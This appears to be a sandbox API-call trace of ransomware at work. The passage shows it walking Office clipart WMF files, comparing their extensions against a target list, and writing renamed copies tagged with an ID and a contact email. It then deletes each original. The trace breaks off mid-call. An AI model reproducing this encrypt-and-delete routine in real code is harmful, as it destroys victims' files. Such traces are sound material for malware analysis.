lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.393] lstrlenW (lpString=".bz2") returned 4 [0222.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.393] lstrlenW (lpString=".7z") returned 3 [0222.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0222.393] lstrlenW (lpString=".dbf") returned 4 [0222.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0222.393] lstrlenW (lpString=".1cd") returned 4 [0222.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0222.393] lstrlenW (lpString=".jpg") returned 4 [0222.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.398] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1568) returned 1 [0222.398] CloseHandle (hObject=0x184) returned 1 [0222.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20 [0222.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.399] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.399] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.399] GetLastError () returned 0x0 [0222.399] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x620, lpOverlapped=0x0) returned 1 [0222.445] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x630, lpOverlapped=0x0) returned 1 [0222.446] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.446] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.446] SetEndOfFile (hFile=0x22c) returned 1 [0222.446] CloseHandle (hObject=0x22c) returned 1 [0222.447] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.447] SetEndOfFile (hFile=0x184) returned 1 [0222.447] CloseHandle (hObject=0x184) returned 1 [0222.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0222.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0222.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0222.448] lstrlenW (lpString=".doc") returned 4 [0222.448] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.448] lstrlenW (lpString=".docx") returned 5 [0222.448] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.448] lstrlenW (lpString=".pdf") returned 4 [0222.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.448] lstrlenW (lpString=".xls") returned 4 [0222.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.448] lstrlenW (lpString=".xlsx") returned 5 [0222.448] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.448] lstrlenW (lpString=".ppt") returned 4 [0222.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0222.448] lstrlenW (lpString=".zip") returned 4 [0222.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.448] lstrlenW (lpString=".rar") returned 4 [0222.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.448] lstrlenW (lpString=".bz2") returned 4 [0222.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.448] lstrlenW (lpString=".7z") returned 3 [0222.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0222.448] lstrlenW (lpString=".dbf") returned 4 [0222.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0222.448] lstrlenW (lpString=".1cd") returned 4 [0222.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0222.448] lstrlenW (lpString=".jpg") returned 4 [0222.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.449] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4340) returned 1 [0222.449] CloseHandle (hObject=0x184) returned 1 [0222.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20 [0222.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.449] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.449] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.450] GetLastError () returned 0x0 [0222.450] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x10f4, lpOverlapped=0x0) returned 1 [0222.493] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1100, lpOverlapped=0x0) returned 1 [0222.493] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.493] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.494] SetEndOfFile (hFile=0x22c) returned 1 [0222.495] CloseHandle (hObject=0x22c) returned 1 [0222.495] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.495] SetEndOfFile (hFile=0x184) returned 1 [0222.496] CloseHandle (hObject=0x184) returned 1 [0222.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0222.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0222.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0222.496] lstrlenW (lpString=".doc") returned 4 [0222.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.496] lstrlenW (lpString=".docx") returned 5 [0222.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.496] lstrlenW (lpString=".pdf") returned 4 [0222.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.496] lstrlenW (lpString=".xls") returned 4 [0222.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.496] lstrlenW (lpString=".xlsx") returned 5 [0222.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.496] lstrlenW (lpString=".ppt") returned 4 [0222.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0222.496] lstrlenW (lpString=".zip") returned 4 [0222.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.496] lstrlenW (lpString=".rar") returned 4 [0222.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.496] lstrlenW (lpString=".bz2") returned 4 [0222.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.496] lstrlenW (lpString=".7z") returned 3 [0222.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0222.497] lstrlenW (lpString=".dbf") returned 4 [0222.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0222.497] lstrlenW (lpString=".1cd") returned 4 [0222.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0222.497] lstrlenW (lpString=".jpg") returned 4 [0222.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.497] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=5000) returned 1 [0222.497] CloseHandle (hObject=0x184) returned 1 [0222.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x20 [0222.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.498] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.498] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.498] GetLastError () returned 0x0 [0222.498] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1388, lpOverlapped=0x0) returned 1 [0222.501] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0222.502] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.502] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.502] SetEndOfFile (hFile=0x22c) returned 1 [0222.502] CloseHandle (hObject=0x22c) returned 1 [0222.502] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.502] SetEndOfFile (hFile=0x184) returned 1 [0222.503] CloseHandle (hObject=0x184) returned 1 [0222.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0222.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0222.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0222.503] lstrlenW (lpString=".doc") returned 4 [0222.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.503] lstrlenW (lpString=".docx") returned 5 [0222.503] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.503] lstrlenW (lpString=".pdf") returned 4 [0222.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.503] lstrlenW (lpString=".xls") returned 4 [0222.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.503] lstrlenW (lpString=".xlsx") returned 5 [0222.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.503] lstrlenW (lpString=".ppt") returned 4 [0222.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0222.504] lstrlenW (lpString=".zip") returned 4 [0222.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.504] lstrlenW (lpString=".rar") returned 4 [0222.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.504] lstrlenW (lpString=".bz2") returned 4 [0222.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.504] lstrlenW (lpString=".7z") returned 3 [0222.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0222.504] lstrlenW (lpString=".dbf") returned 4 [0222.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0222.504] lstrlenW (lpString=".1cd") returned 4 [0222.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0222.504] lstrlenW (lpString=".jpg") returned 4 [0222.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.505] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=7340) returned 1 [0222.505] CloseHandle (hObject=0x184) returned 1 [0222.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20 [0222.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.505] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.505] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.506] GetLastError () returned 0x0 [0222.506] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1cac, lpOverlapped=0x0) returned 1 [0222.508] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0222.509] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.509] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.509] SetEndOfFile (hFile=0x22c) returned 1 [0222.509] CloseHandle (hObject=0x22c) returned 1 [0222.509] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.509] SetEndOfFile (hFile=0x184) returned 1 [0222.510] CloseHandle (hObject=0x184) returned 1 [0222.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0222.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0222.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0222.510] lstrlenW (lpString=".doc") returned 4 [0222.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.510] lstrlenW (lpString=".docx") returned 5 [0222.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.510] lstrlenW (lpString=".pdf") returned 4 [0222.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.510] lstrlenW (lpString=".xls") returned 4 [0222.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.510] lstrlenW (lpString=".xlsx") returned 5 [0222.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.510] lstrlenW (lpString=".ppt") returned 4 [0222.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0222.510] lstrlenW (lpString=".zip") returned 4 [0222.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.510] lstrlenW (lpString=".rar") returned 4 [0222.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.510] lstrlenW (lpString=".bz2") returned 4 [0222.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.511] lstrlenW (lpString=".7z") returned 3 [0222.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0222.511] lstrlenW (lpString=".dbf") returned 4 [0222.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0222.511] lstrlenW (lpString=".1cd") returned 4 [0222.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0222.511] lstrlenW (lpString=".jpg") returned 4 [0222.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.511] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=15806) returned 1 [0222.511] CloseHandle (hObject=0x184) returned 1 [0222.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0222.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.512] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.512] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.512] GetLastError () returned 0x0 [0222.512] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, 